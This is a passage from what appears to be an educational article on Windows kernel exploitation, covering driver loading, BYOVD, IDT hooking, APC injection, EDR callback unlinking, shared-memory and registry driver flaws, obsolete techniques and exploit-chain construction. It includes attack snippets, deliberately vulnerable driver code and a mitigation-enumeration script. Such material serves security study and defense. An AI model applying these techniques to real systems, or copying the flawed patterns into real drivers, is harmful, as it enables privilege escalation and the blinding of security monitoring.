
A driver is loaded via NtLoadDriver (the underlying syscall) or the Service Control Manager (CreateService with SERVICE_KERNEL_DRIVER). The loader reads the driver image from disk, validates its signature (via the Code Integrity subsystem), maps it into kernel memory, and calls its DriverEntry routine. DriverEntry is the driver's main function — it registers dispatch routines, creates device objects, and initializes driver state.

C
// The driver loading flow (user-mode side)
// Requires SeLoadDriverPrivilege (present on Administrator tokens, disabled by default).
 
SC_HANDLE scm = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS);
SC_HANDLE svc = CreateServiceA(scm, "MyDriver", "MyDriver",
    SERVICE_ALL_ACCESS, SERVICE_KERNEL_DRIVER,
    SERVICE_DEMAND_START, SERVICE_ERROR_NORMAL,
    "C:\\path\\to\\driver.sys", NULL, NULL, NULL, NULL, NULL);
 
// Before loading: the driver's signature is validated by CI.
// If the signature is invalid (and DSE is enabled), StartService fails.
// If the signature is valid, the driver maps into kernel memory and
// its DriverEntry runs at Ring 0.
StartService(svc, 0, NULL);
 
// Alternatively, the NtLoadDriver syscall takes a registry path:
// HKLM\SYSTEM\CurrentControlSet\Services\MyDriver with ImagePath set.

#How It Works — Driver Signature Enforcement (DSE)

DSE requires every kernel-mode driver to carry a valid digital signature that chains to a trusted root certificate. The Code Integrity subsystem (CI.dll in kernel mode) validates signatures at load time via CiValidateImageHeader. A driver that fails validation is not mapped.

The signing landscape:

  • Cross-signed certificates (deprecated) — a code-signing certificate issued by a third-party CA that chains to Microsoft's root. No longer accepted on Windows 11.
  • Attestation Signing — Microsoft's developer portal signs the driver after basic automated checks. The signature is from Microsoft, not the developer. The standard path for development and testing.
  • WHQL (Windows Hardware Quality Labs) — full certification with Microsoft's hardware compatibility testing. Required for production drivers distributed through Windows Update.

Test-signing mode (bcdedit /set testsigning on) disables DSE for development. A test-signed driver (signed with a self-generated certificate) loads only when test-signing is enabled. This is the standard kernel development workflow, but it requires boot configuration changes and a reboot.

#How It Works — The Driver Trust Model

A signed driver is trusted. Its code runs in Ring 0. Its IOCTL handlers are valid kCFG targets (they are function entries in a signed image). Its pages pass HVCI verification (they match the signed image's page hashes). The signature says "this code is from a known source" — not "this code is safe."

This distinction is the entire BYOVD attack. A signed driver that exposes MmMapIoSpace via IOCTL is not "buggy" in the traditional sense — it is doing exactly what it was designed to do (give a hardware monitoring tool access to physical memory). The attack is abusing legitimate functionality that the driver was designed to expose. The signature is valid. The code is signed. The behavior is dangerous.

#Attack Surface — BYOVD (Revisited from the Driver Perspective)

Section 2 covered BYOVD from the I/O perspective (the IOCTL interface). From the driver model perspective, the attack surface is the loading step. The attacker needs to get a signed driver onto the target system and load it. The requirements:

  • A signed driver — the canonical vulnerable drivers (RTCore64.sys, capcom.sys, WinRing0.sys) are all legitimately signed. They pass DSE, CI, and HVCI. The signature is valid because the driver is legitimate — it is a real product from a real vendor.
  • The ability to load it — loading a driver requires SeLoadDriverPrivilege. This privilege is present (but disabled) on Administrator tokens. An attacker who has already achieved local admin (via a separate exploit, phishing, or legitimate access) can enable the privilege and load the driver.
  • The driver not being on the blocklist — the Vulnerable Driver Blocklist (enforced by WDAC and HVCI) blocks known-vulnerable drivers. A driver not yet on the blocklist loads without issue. New vulnerable drivers are discovered regularly.

The defense is the blocklist — and the blocklist is reactive. The LOLDrivers project catalogs signed drivers with dangerous capabilities. Finding a new BYOVD candidate is a matter of reverse engineering driver IOCTL handlers for MmMapIoSpace, __readmsr/__writemsr, arbitrary I/O port access, or missing ACL checks. A driver that is dangerous but not yet known to be dangerous passes every defense.

#Attack Surface — Driver Supply Chain

A malicious but properly signed driver bypasses DSE, CI, and HVCI entirely. The signature is valid. The code is signed. The CI catalog entry is correct. The driver is simply malicious. This is the SolarWinds scenario applied to kernel mode: a compromised build pipeline produces a signed driver that includes a backdoor.

The defense is not technical but procedural: WHQL certification requires submitting the driver to Microsoft for testing, and Microsoft's testing includes behavioral analysis. But a sufficiently sophisticated attacker can hide malicious behavior behind legitimate functionality, or trigger it only under specific conditions that testing does not exercise. A supply-chain-compromised driver is the hardest attack to detect because it passes every integrity check by design.

#Attack Surface — Driver Unloading

NtUnloadDriver unloads a driver. If a driver can be unloaded while its device objects are still referenced (a handle remains open, or an IRP is still in flight), use-after-free conditions arise. The driver's code is unmapped from kernel memory, but pointers to its device objects, its dispatch routines, or its device extension data remain. When the kernel or another driver dereferences those pointers, it accesses unmapped memory — a bugcheck, or, if the attacker has reclaimed the unmapped memory with controlled data, a controlled use-after-free.

This is a narrow attack surface — most drivers cannot be unloaded while in use, and the loader holds a reference that prevents unloading. But a driver that does not correctly reference-count its device objects (a common bug in filter drivers) can be unloaded prematurely. The exploitation: open a handle to the driver's device, trigger an unload (via ControlService with SERVICE_CONTROL_STOP), and the handle now references freed memory.

#Attack Surface — Filter Driver Insertion

A filter driver is a driver that attaches itself to an existing device stack — above or below the function driver. Filter drivers intercept every IRP sent to the target device. This is how antivirus file-system scanners work (they attach as a filter above the file system driver and inspect every IRP_MJ_CREATE / IRP_MJ_WRITE).

From an offensive perspective, a filter driver is a persistent interception point. An attacker who can load a driver (via BYOVD or supply chain) can attach it as a filter above a target device — a storage device, a network device, or the file system — and intercept every I/O request to that device. This is the kernel-mode equivalent of a user-mode API hook, but it cannot be bypassed from user mode because it sits below the syscall boundary.

The defense is DSE: loading a filter driver requires a signed driver, which requires either a legitimate signing certificate or test-signing mode. But a BYOVD driver can be loaded as a filter — the signature that lets it load as a function driver also lets it attach as a filter.


#8. Interrupt and Exception Handling

The interrupt and exception handling subsystem is the kernel's response mechanism for asynchronous and synchronous CPU events. Interrupts come from hardware (timers, devices). Exceptions come from the CPU itself (page faults, division by zero, breakpoints). Both are dispatched through the Interrupt Descriptor Table (IDT). For over a decade, the IDT was a primary kernel attack surface. Today it is one of the most heavily defended structures in the kernel — and a case study in how layered defenses close an entire attack surface.

#How It Works — The IDT

The IDT is an array of 256 entries, each describing how the CPU should handle a specific interrupt or exception. The IDTR register holds the base address and limit of the IDT. When an interrupt or exception occurs (hardware interrupt, int instruction, page fault, division by zero), the CPU uses the interrupt vector (0–255) to index into the IDT, reads the entry (an interrupt gate or trap gate), and jumps to the handler address stored there.

VectorEventHandler
0x00Division by zero (#DE)KiDivideErrorFault
0x03Breakpoint (#BP)KiDebugTrapOrFault
0x0EPage fault (#PF)KiPageFault
0x2ESyscall (legacy int 2E)KiSystemService (unused on x64)
0xA0+Hardware device interrupts (APIC redirection)Driver ISR

The IDT is per-processor — each logical processor has its own IDT (pointed to by its own IDTR). This matters for exploitation: hooking the IDT on one processor does not hook it on others, so an attacker must either hook all processors or pin execution to a specific processor.

#Attack Surface — IDT Hooking

IDT hooking overwrites an IDT entry so that an interrupt or exception redirects to attacker code. The classic use is hooking the page fault handler (#PF, vector 0x0E): every page fault in the system now jumps to the attacker's handler first, giving the attacker visibility into (and control over) every page fault.

C
// IDT hooking — the classic interrupt-interception technique
// Replace the page fault handler with an attacker-controlled routine.
// PRESENTED FOR HISTORICAL CONTEXT — dead on modern systems (see below).
 
#pragma pack(push, 1)
typedef struct _IDT_ENTRY {
    USHORT LowOffset;       // Low 16 bits of handler address
    USHORT Selector;       // Code segment selector
    UCHAR  Reserved;
    UCHAR  Type;            // Gate type (interrupt gate = 0x8E)
    USHORT MiddleOffset;   // Middle 16 bits of handler address
    ULONG  HighOffset;      // High 32 bits of handler address (x64)
    ULONG  Reserved2;
} IDT_ENTRY;
#pragma pack(pop)
 
VOID HookIdtPageFault(PVOID newHandler, PVOID* original) {
    // Get the IDT base from the IDTR register
    IDT_ENTRY* idt;
    __sidt((void*)&idt);  // Store IDTR — gives base and limit
    idt = (IDT_ENTRY*)idt;  // (simplified — the sidt output struct holds the base)
 
    // Save the original handler
    ULONG64 orig = ((ULONG64)idt[0x0E].HighOffset << 32) |
                   ((ULONG64)idt[0x0E].MiddleOffset << 16) |
                   idt[0x0E].LowOffset;
    *original = (PVOID)orig;
 
    // Overwrite the page fault entry with our handler
    ULONG64 newAddr = (ULONG64)newHandler;
    idt[0x0E].LowOffset    = (USHORT)(newAddr & 0xFFFF);
    idt[0x0E].MiddleOffset = (USHORT)((newAddr >> 16) & 0xFFFF);
    idt[0x0E].HighOffset   = (ULONG)(newAddr >> 32);
}

Other historically-hooked vectors: #BP (vector 0x03, breakpoint) for anti-debugging, #DB (vector 0x01, debug exception) for hardware breakpoint interception, and the hardware interrupt vectors for device-level interception.

#Why IDT Hooking Is Obsolete

The IDT is one of the most heavily protected structures in the kernel:

  • PatchGuard computes checksums of the IDT and bugchecks on modification (CRITICAL_STRUCTURE_CORRUPTION, 0x109). The IDT is on PatchGuard's protected list from the very first x64 implementation.
  • KDP, when VBS is enabled, marks the IDT's physical pages read-only at the hypervisor level via EPT. The write faults before it reaches memory.
  • CET IBT requires ENDBR64 at the target of indirect branches. The IDT dispatch is a special case (the CPU jumps to the gate's handler address directly), but the broader point holds: redirecting execution to non-validated code is constrained at the hardware level.

Nothing viable remains at the IDT level on a PatchGuard-protected system. The IDT is a closed attack surface — included here for historical context and to illustrate how thoroughly a single structure can be defended when it is a known target.

#Attack Surface — #DB (Debug Exception) Hijacking

The debug exception handler (vector 0x01) is used by hardware breakpoints (DR0–DR3 debug address registers). When a hardware breakpoint fires, the CPU raises #DB and dispatches through the IDT. Historically, overwriting the #DB handler let an attacker intercept every hardware breakpoint — useful for anti-debugging (detecting when a debugger sets a breakpoint) and for hijacking code that relies on hardware breakpoints (some protections use #DB for control-flow validation).

This is obsolete for the same reasons as IDT hooking generally: PatchGuard, KDP, and CET. The #DB vector is no more or less protected than any other IDT entry.


#9. APC and Callback Mechanisms

Asynchronous Procedure Calls (APCs) and kernel callbacks are the mechanisms by which the kernel notifies drivers of events. APCs let the kernel queue work to run in the context of a specific thread. Callbacks let drivers register for notifications about process creation, thread creation, image loads, registry operations, and handle creation. Both are attack surfaces — and both are partially defended.

#How It Works — APCs

An APC is a function queued to run in the context of a specific thread. The kernel maintains two APC lists per thread: the kernel-mode APC list and the user-mode APC list. When a thread enters an alertable wait (via WaitForSingleObjectEx with bAlertable=TRUE, or SleepEx with bAlertable=TRUE), the kernel drains the APC lists — running each queued APC in the thread's context.

  • Kernel-mode APCs run at APC_LEVEL in the thread's kernel context. They are used by the kernel itself (I/O completion) and by drivers.
  • User-mode APCs run in the thread's user-mode context, at the address specified in the APC. They are used for asynchronous I/O completion and QueueUserAPC.

A driver queues an APC with KeInitializeApc and KeInsertQueueApc. The APC structure (_KAPC) holds the target thread, the kernel routine, the rundown routine, and the normal routine. When the thread alerts, the kernel calls the APC's routines.

#How It Works — Kernel Callbacks

The kernel exposes a set of registration functions that let drivers subscribe to system events:

FunctionEventUse
PsSetCreateProcessNotifyRoutineExProcess creation/exitEDR: monitor child process spawning
PsSetCreateThreadNotifyRoutineThread creation/exitEDR: monitor thread injection
PsSetLoadImageNotifyRoutineImage (DLL/driver) loadEDR: monitor module loading
CmRegisterCallbackExRegistry operationEDR: monitor persistence, config changes
ObRegisterCallbacksHandle operation (pre/post)EDR: protect processes from handle access

Each registration adds an entry to a kernel-maintained callback list. When the corresponding event occurs, the kernel walks the list and calls each registered callback. This is how EDR products get their visibility — they register callbacks for process creation, image load, and handle operations, and inspect each event.

#Attack Surface — APC Injection

Queuing a kernel-mode APC to a target thread lets an attacker run code in that thread's kernel context. When the thread alerts (enters an alertable wait), the APC fires. This is used for code injection (queue an APC that loads a DLL or executes shellcode in the target thread) and for thread hijacking (queue an APC that modifies the thread's state).

C
// APC injection — queue a kernel-mode APC to a target thread
// The APC runs in the target thread's kernel context when it alerts.
// Requires kernel context (you are a driver, or you have a kernel write
// primitive that lets you forge and insert an APC).
 
VOID InjectApc(PETHREAD targetThread, PVOID routine, PVOID arg) {
    PKAPC apc = ExAllocatePool2(POOL_FLAG_NON_PAGED, sizeof(KAPC), 'ApcI');
    KeInitializeApc(apc, targetThread, OriginalApcEnvironment,
                    KernelApcRoutine,    // Kernel routine (runs at APC_LEVEL)
                    NULL,                // Rundown routine
                    UserApcRoutine,      // Normal routine (runs in user mode)
                    UserMode,            // APC mode
                    arg);
    KeInsertQueueApc(apc, NULL, NULL, 0);
    // When targetThread next enters an alertable wait, the APC fires.
}

The defense: APC injection from kernel context is hard to detect because APCs are a legitimate kernel mechanism. EDRs that monitor thread creation and handle operations do not necessarily monitor APC queuing. The attack surface is constrained by the requirement for kernel context — you must already be in Ring 0 to queue a kernel-mode APC.

#Attack Surface — Callback Tampering

EDR products rely on kernel callbacks for visibility. If an attacker can remove or modify a registered callback, the EDR goes blind — process creation, image loads, and handle operations stop being reported.

The callback lists are linked lists in kernel memory. Each registration adds a node; the kernel walks the list on each event. An attacker with a kernel write primitive can unlink a callback node — remove the EDR's entry from the list while leaving the rest of the list intact. The EDR's driver continues running, but it stops receiving callbacks. From the EDR's perspective, no events are occurring (because it is no longer in the callback list). From the attacker's perspective, the monitoring is defeated.

C
// Callback tampering — unlink an EDR's process-creation callback
// The callback list is a linked list. Unlinking a node removes it
// from the dispatch path without freeing it (the EDR's driver still
// holds a reference, so it does not crash — it just stops being called).
 
VOID UnlinkProcessNotify(PVOID edrCallbackNode) {
    // The callback list node has LIST_ENTRY-style links.
    // Standard doubly-linked-list unlink:
    LIST_ENTRY* entry = (LIST_ENTRY*)edrCallbackNode;
    entry->Blink->Flink = entry->Flink;
    entry->Flink->Blink = entry->Blink;
    // The EDR's callback is now removed from the dispatch list.
    // Process creation events no longer reach it.
}

#Why Callback Tampering Is Harder Now

PatchGuard protects some callback structures — the process, thread, and image notification callback lists are on PatchGuard's monitored list on recent Windows builds. KDP can protect them at the hypervisor level. But the protection is partial: not every callback list is protected, and the protection varies by Windows version. CmRegisterCallbackEx (registry callbacks) and ObRegisterCallbacks (handle callbacks) are less consistently protected than the process/thread/image callbacks.

The result: callback tampering is a constrained but not eliminated attack surface. On a fully-patched, VBS-enabled system with KDP, most callback lists are read-only. On an older or partially-mitigated system, the lists are writable and the tampering works. The attacker's job is to enumerate which callbacks are protected on the specific target — the same mitigation-enumeration problem that runs through this entire post.


#10. Shared Memory and Section Objects

Section objects are the kernel's mechanism for sharing memory between processes — and between kernel mode and user mode. A section object (created with NtCreateSection, mapped with NtMapViewOfSection) represents a region of memory backed by either the page file or a file. When two processes map the same section, they share the underlying physical pages. When a driver maps a section into user mode, user-mode code and kernel code share memory directly — a powerful but dangerous pattern.

#How It Works — Section Objects

A section object is a kernel object (_SECTION) that describes a memory region. The section is backed by either:

  • The page file — the section's pages are allocated from the page file and initialized to zero. This is the "shared memory" use case: two processes map the section and communicate through it.
  • A file — the section's pages are backed by a file on disk. This is how LoadLibrary works: the loader creates a section backed by the DLL file and maps it into the process. The same section can be mapped into multiple processes, sharing the read-only pages (code) while giving each process its own copy-on-write pages (data).

The mapping APIs:

  • NtCreateSection — creates a section object with a maximum size, page protection, and backing (page file or file handle).
  • NtMapViewOfSection — maps a view of the section into a process's address space. The view can be read-only, read-write, or execute-read.

#Attack Surface — Shared Memory Between Kernel and User Mode

Drivers sometimes create a section and map it into both kernel space and a user-mode process. This lets the driver and the user-mode application communicate through shared memory without DeviceIoControl — the driver writes to the kernel mapping, the application reads from the user mapping, and vice versa.

The vulnerability: if the driver treats data in the shared section as trusted (because it "wrote it" or because it validated it once), but the user-mode application can modify the shared section at any time, the driver is trusting mutable attacker-controlled memory. This is the shared-memory equivalent of a TOCTOU: the driver validates a field in the shared section, the user-mode application changes it, the driver uses the modified field.

C
// Vulnerable driver — trusts shared section data
// The driver maps a section into both kernel and user mode.
// It reads a "command" field from the section and dispatches on it,
// but the user-mode application can change the command between
// the driver's read and the driver's action.
 
typedef struct _SHARED_REGION {
    ULONG Command;       // User-writable
    PVOID TargetAddress; // User-writable
    ULONG Size;          // User-writable
} SHARED_REGION;
 
PSHARED_REGION g_SharedKernelView;  // Mapped in kernel space
 
NTSTATUS ProcessSharedCommand() {
    // The driver reads the command and dispatches. But the user-mode
    // application can change Command between this read and the action.
    ULONG cmd = g_SharedKernelView->Command;
    if (cmd == CMD_SAFE_READ) {
        // Between this check and the read below, the user can change
        // TargetAddress to a kernel address — the driver reads it.
        RtlCopyMemory(localBuf, g_SharedKernelView->TargetAddress,
                      g_SharedKernelView->Size);
    }
    return STATUS_SUCCESS;
}

#Attack Surface — Section Object Manipulation

With a kernel write primitive, an attacker can modify a section object's internal fields — its protection, its backing, its security descriptor. Modifying the protection of a read-only section to read-write lets the attacker write to memory the section's owner expected to be immutable. Modifying the security descriptor grants access to a section the attacker should not be able to map.

This requires locating the _SECTION object in kernel memory (via the object manager, if you have a handle, or via pool scanning) and writing to its fields. It is a specialized attack — most exploits do not need it — but it is a valid attack surface for scenarios where the target uses section objects for sensitive data (e.g., shared memory between a privileged service and a low-privilege client).

#Attack Surface — \Device\PhysicalMemory

\Device\PhysicalMemory is a section object that represents the system's physical memory. On older Windows versions (pre-Windows 8), this section was accessible from user mode — a process with SeSystemEnvironmentPrivilege could map physical memory directly into its address space, giving it physical memory read/write without loading a driver. This was the user-mode equivalent of a BYOVD primitive.

C
// \Device\PhysicalMemory access — OBSOLETE on Windows 8+
// On Windows 7 and earlier, this gave physical memory access from user mode.
 
// The technique: open \Device\PhysicalMemory as a section, map a view,
// read/write physical memory directly. No driver required.
HANDLE hSection;
OBJECT_ATTRIBUTES oa;
UNICODE_STRING name = RTL_CONSTANT_STRING(L"\\Device\\PhysicalMemory");
InitializeObjectAttributes(&oa, &name, OBJ_CASE_INSENSITIVE, NULL, NULL);
NtOpenSection(&hSection, SECTION_MAP_READ | SECTION_MAP_WRITE, &oa);
 
LARGE_INTEGER physAddr = { .QuadPart = targetPhysAddr };
PVOID mappedBase = NULL;
SIZE_T viewSize = 0x1000;
NtMapViewOfSection(hSection, GetCurrentProcess(), &mappedBase, 0,
                   0x1000, &physAddr, &viewSize, ViewUnmap, 0, PAGE_READWRITE);
// mappedBase now points at physical memory. Read/write freely.

This was removed as a user-accessible path in Windows 8. The object manager namespace was tightened so that \Device\PhysicalMemory is no longer openable from user mode, and the section's ACL denies access to non-kernel callers. The technique is dead — but it illustrates why physical memory access is so powerful that Microsoft removed an entire user-mode API to prevent it. The BYOVD technique (Section 2 and 7) is the successor: when the legitimate path was closed, attackers found signed drivers that expose the same capability.


#11. Registry and Configuration

The registry is the kernel's configuration store. Drivers use it for persistence (service keys), configuration (driver parameters), and runtime state. The kernel exposes registry callback registration (CmRegisterCallbackEx) that lets drivers intercept every registry operation system-wide. The registry is a smaller attack surface than the others in this post, but it matters for persistence and for blinding monitoring.

#How It Works — The Registry in Kernel Context

The Configuration Manager (CM) is the kernel subsystem that manages the registry. It stores registry data in hives — binary files on disk (SYSTEM, SOFTWARE, SECURITY, SAM, DEFAULT, NTUSER.DAT). Each hive is loaded into kernel memory as a structure the CM manages.

Drivers register for registry notifications with CmRegisterCallbackEx. The callback fires on every RegNt* operation — RegNtPreCreateKey, RegNtPreSetValueKey, RegNtPreDeleteKey, etc. The callback receives the operation class, the object path, and the data being written. The callback can inspect the operation, block it (return STATUS_ACCESS_DENIED), or allow it.

C
// Registry callback — the pattern EDRs use to monitor persistence
// Fires on every registry write system-wide.
 
NTSTATUS RegistryCallback(PVOID context, PVOID argument1, PVOID argument2) {
    REG_NOTIFY_CLASS op = (REG_NOTIFY_CLASS)(ULONG_PTR)argument1;
    if (op == RegNtPreSetValueKey) {
        PREG_SET_VALUE_KEY_INFORMATION info =
            (PREG_SET_VALUE_KEY_INFORMATION)argument2;
        // Inspect the key path and value being set.
        // EDRs check for persistence locations:
        //   HKLM\...\Run, RunOnce
        //   HKLM\...\Image File Execution Options (debugger hijack)
        //   HKLM\...\Services (new service install)
        // Block or log as appropriate.
    }
    return STATUS_SUCCESS;
}

#Attack Surface — Registry Callback Tampering

Like the process/thread/image callbacks in Section 9, registry callbacks are stored in a linked list. An attacker with a kernel write primitive can unlink a registry callback node, blinding the EDR to registry operations. Persistence mechanisms (Run keys, IFEO debugger hijacking, service installation) then execute without the EDR seeing them.

The defense is the same as for the other callback lists: PatchGuard protects some callback structures, KDP can protect them at the hypervisor level, but the protection is partial and version-dependent. The CmRegisterCallbackEx list is less consistently protected than the process notification lists.

#Attack Surface — Registry-Based Driver Configuration

Drivers that read configuration from the registry at runtime are vulnerable to configuration corruption. If a driver reads a pointer, a size, or a flag from the registry and uses it without validation, an attacker who can write to that registry value (which may require only SeTakeOwnershipPrivilege or even standard user access, depending on the key's ACL) can corrupt the driver's behavior.

The classic pattern: a driver reads a registry value that specifies a buffer size, allocates a buffer of that size, then copies data into it. If the registry value is attacker-controlled and the driver does not re-validate it, the attacker sets the size to a value that causes an overflow or an undersized allocation. This is a configuration-driven vulnerability — the bug is not in the driver's code logic but in its trust of registry data.

C
// Vulnerable driver — trusts a registry-configured size
// The driver reads MaxBufferSize from its Parameters key and uses it
// without re-validating. An attacker who can write to the key sets
// MaxBufferSize to a small value, causing an overflow.
 
ULONG g_MaxBufferSize = 0x1000;  // Default
 
NTSTATUS ReadDriverConfig() {
    HANDLE hKey;
    // Open HKLM\SYSTEM\CurrentControlSet\Services\MyDriver\Parameters
    RegOpenKeyEx(..., &hKey);
    ULONG size = sizeof(g_MaxBufferSize);
    RegQueryValueEx(hKey, "MaxBufferSize", NULL, NULL,
                    (PBYTE)&g_MaxBufferSize, &size);
    // BUG: no validation that g_MaxBufferSize is sane.
    // An attacker sets it to 0x10. The driver later allocates 0x10 bytes
    // but copies 0x1000 bytes of input into it — overflow.
    return STATUS_SUCCESS;
}

This is a narrow attack surface — it requires a driver that reads attacker-influenced configuration and uses it unsafely, plus the attacker having write access to the relevant registry key. But it is a real pattern, particularly in older drivers and in drivers that expose tunable parameters to administrators.


#12. Obsolete Techniques — What Died and Why

This section is the consolidated reference. Every technique listed here was once a standard kernel exploitation method. Each was killed by a specific defense (or combination of defenses) explained in the defense post. The purpose of this section is not nostalgia — it is to spare you from wasting time on techniques that cannot work, and to show the pattern: every obsolete technique was killed by a defense that addresses a specific stage of the attack.

Timeline of Obsolete Kernel Exploitation Techniques and the Defenses That Killed Them
TechniqueWhat It DidKilled ByReplaced By
SSDT HookingPatch the SSDT to redirect syscalls to attacker codePatchGuard (detects) + KDP (prevents write) + HVCI (prevents payload execution)Data-only attacks; the syscall interface is a closed door
IDT HookingPatch the IDT to redirect interrupts/exceptions to attacker codePatchGuard + KDP + CET IBTNothing — the IDT is fully closed
LSTAR OverwriteOverwrite the LSTAR MSR to hijack all syscalls before dispatchPatchGuard (monitors MSRs) + HVCI + CET IBTNothing — the MSR path is fully closed
Inline PatchingOverwrite kernel function prologues with jumps to attacker codePatchGuard (checksums .text) + HVCI (page hash verification)ROP (for control-flow attacks); data-only attacks
IRP HookingOverwrite a driver's MajorFunction dispatch array to intercept IRPskCFG (indirect call validation) + HVCIFilter driver insertion (requires loading a signed driver)
NULL Page MappingMap the NULL page (0x00000000) to exploit kernel NULL dereferencesWindows 8 NULL page restriction (NtAllocateVirtualMemory refuses 0–0xFFFF) + SMAPNothing — NULL derefs are now just crashes, not exploitable
\Device\PhysicalMemoryUser-mode physical memory access via the physical memory section objectWindows 8.1 ACL tightening (object no longer user-accessible)BYOVD (signed drivers exposing physical memory access)
DKOM (Process Hiding)Unlink a process from ActiveProcessLinks to hide it from enumerationVBS attestation (detects inconsistency between kernel list and hypervisor view)DKOM for privilege escalation still works (token overwrite) — it does not create detectable inconsistencies
HalDispatchTable HookOverwrite HalDispatchTable entries to hijack HAL dispatch for kernel executionPatchGuard (protects HalDispatchTable) + kCFGData-only attacks
NtQuerySystemInformation leakUnprivileged leak of kernel base address via SystemModuleInformationWindows 10 RS4 (1803) — now requires SeDebugPrivilegePhysical memory scanning (BYOVD); other info-leak primitives

#The Pattern

Every obsolete technique in the table was killed by a defense that addresses a specific stage of the attack:

  • Detection (PatchGuard) — catches the modification after the fact and bugchecks. This makes persistent hooking infeasible but does not prevent a one-shot modification before PatchGuard's next check.
  • Prevention (KDP) — stops the modification at the hardware level. The write faults before it reaches memory. This closes the one-shot window that PatchGuard leaves.
  • Payload containment (HVCI, CET) — even if the modification succeeds, the payload cannot run. HVCI prevents making new pages executable. CET prevents hijacking control flow. This closes the execution stage.

A technique dies when all three stages are covered. SSDT hooking is dead because PatchGuard detects the SSDT write, KDP prevents the SSDT write, and HVCI prevents the hook code from executing. Remove any one of those defenses and the technique becomes viable again — which is exactly why mitigation enumeration (Section 13) is the first step of every modern exploit.


#13. Exploit Chain Construction

Individual techniques are not enough. A real kernel exploit chains primitives from multiple attack surfaces into a complete compromise: an information leak provides the KASLR bypass, a write primitive (from a vulnerable IOCTL, a BYOVD driver, or a pool corruption) provides the kernel access, and a data-only attack converts that access into privilege escalation. This section is about assembling those pieces.

#The Exploit Chain Template

Every modern kernel exploit follows the same five-stage template:

Kernel Exploit Chain — From Information Leak to Privilege Escalation
  1. Information leak — obtain a kernel pointer or the kernel base address. This defeats KASLR.
  2. Write primitive — achieve arbitrary kernel write (and ideally read) via a vulnerable IOCTL, a BYOVD driver, or a pool corruption.
  3. Privilege escalation — use the write primitive to modify a kernel data structure (token pointer, privilege bitmask, page table entry) that grants elevated privileges.
  4. Cleanup — restore any corrupted kernel state to avoid a bugcheck.
  5. Persistence (optional) — establish a foothold that survives reboot, if the objective requires it.

#Stage 1 — Information Leak Techniques

The information leak defeats KASLR. Without the kernel base, you cannot compute gadget addresses, structure offsets, or the location of PsInitialSystemProcess. The leak techniques, by attack surface:

  • NtQuerySystemInformation with SystemModuleInformation (pre-Windows 10 RS4) — returned the kernel base address to any unprivileged caller. Post-RS4, requires SeDebugPrivilege. Obsolete as an unprivileged primitive.
  • Kernel pool leaks — a driver that returns an uninitialized pool allocation to user mode may leak kernel pointers embedded in the freed allocation's metadata. The classic pattern: a driver allocates a buffer, does not fully initialize it, and returns it via an IOCTL output buffer. The uninitialized bytes contain stale kernel pointers from the previous use of that memory.
  • Uninitialized memory disclosure — a driver that copies a kernel structure to user mode without zeroing it first may leak kernel pointers in padding or unused fields. The _EPROCESS structure, for example, has changed over Windows versions, and fields that were pointers in one build may be padding in another — but the padding is not always zeroed.
  • Side channels — Meltdown, Spectre, and variants can leak kernel pointers through speculative execution. KVA Shadow mitigates the Meltdown vector. Other variants (Spectre v1, v2) are partially mitigated by retpoline and KPTI but not fully closed.
  • Physical memory analysis (BYOVD) — if you have physical memory read access via a BYOVD driver, you can scan physical memory for the kernel's PE header (MZ + PE\0\0) and compute the kernel base directly. This bypasses KASLR entirely — there is no KASLR at the physical level.

The BYOVD path is the most reliable: physical memory scanning gives you the kernel base without depending on a separate info-leak bug. This is why BYOVD is the dominant technique in 2026 — it collapses stages 1 and 2 into a single primitive.

#Stage 2 — The Write Primitive

The write primitive is the core of the exploit. By attack surface:

  • Vulnerable IOCTL handler (Section 2) — a METHOD_NEITHER handler that trusts user pointers gives arbitrary read/write directly. The most direct path.
  • BYOVD driver (Sections 2, 7) — a signed driver exposing physical memory read/write (RTCore64.sys) or MSR read/write (capcom.sys). The most reliable path on systems where the vulnerable driver is not blocklisted.
  • Pool corruption (Section 5) — a pool overflow or UAF that corrupts a kernel object's data, turning a constrained corruption into a write primitive. The most complex path, but the only one that works against a vulnerability in a driver that does not directly expose read/write.
  • Race condition (Section 6) — a TOCTOU or double-fetch that corrupts kernel state. The narrowest path, requiring precise timing.

The quality of the primitive matters. A full arbitrary write (you control both address and value) is ideal. A constrained write (you control one but not the other) requires additional steps: a write-only primitive can be upgraded by first finding a way to leak a kernel pointer (so you know what address to write to), and a read-only primitive can be used to find the write target but cannot modify it directly.

#Stage 3 — Choosing Your Write Target

Once you have a write primitive, what do you write? The trade-offs:

TargetEffectStealthReliabilityOS Version Sensitivity
_EPROCESS.Token (token stealing)Process becomes SYSTEMLow (token SID changes)High (one pointer write)Medium (offset varies by build)
_TOKEN.Privileges (privilege enable)Process gains all privilegesHigh (SID unchanged)HighMedium (offset varies)
_EPROCESS.Protection (PPL strip)Process becomes unprotectedMediumHighLow (small structure)
Page table entry (PTE manipulation)Kernel page becomes user-accessibleLow (modified PTE)Medium (TLB invalidation)Low (hardware-defined)
Handle table entry (handle forging)Existing handle gains full accessHighMedium (handle table layout)Medium

Token stealing is the simplest and most reliable — one pointer write, no control flow, no code execution. Privilege enablement is stealthier (the token SID does not change) but requires knowing the _TOKEN.Privileges offset, which varies by build. PTE manipulation is the most powerful (it disables SMEP/SMAP at the hardware level) but requires TLB invalidation and is constrained by HVCI on VBS systems.

#Stage 4 — Mitigation-Aware Chain Selection

The chain must be adapted to the target's mitigation configuration. The first step of every exploit is enumerating which mitigations are active:

POWERSHELL
# Mitigation enumeration — the first step of every kernel exploit
# Run these on the target to determine which chain is viable.
 
# VBS / HVCI status
Get-CimInstance -ClassName Win32_DeviceGuard -Namespace root\Microsoft\Windows\DeviceGuard |
    Select-Object SecurityServicesRunning, VirtualizationBasedSecurityStatus
 
# Secure Boot state
Confirm-SecureBootUEFI
 
# Test-signing (disables DSE — BYOVD becomes trivial)
bcdedit /enum | Select-String testsigning
 
# CET / Hardware-enforced Stack Protection
Get-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management" -Name "FeatureSimulations" -ErrorAction SilentlyContinue
 
# Kernel CET
Get-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\CI\Config" -Name "CETKernel" -ErrorAction SilentlyContinue

Based on the results, the chain adapts:

  • SMEP/SMAP enabled → cannot execute user-mode shellcode in kernel context. Use ROP (kernel gadgets) or page table manipulation (Section 3) to bypass at the hardware level.
  • CET enabled → cannot corrupt return addresses (shadow stack) or use non-ENDBR64 indirect branch targets (IBT). Use data-only attacks (Section 4) that do not hijack control flow.
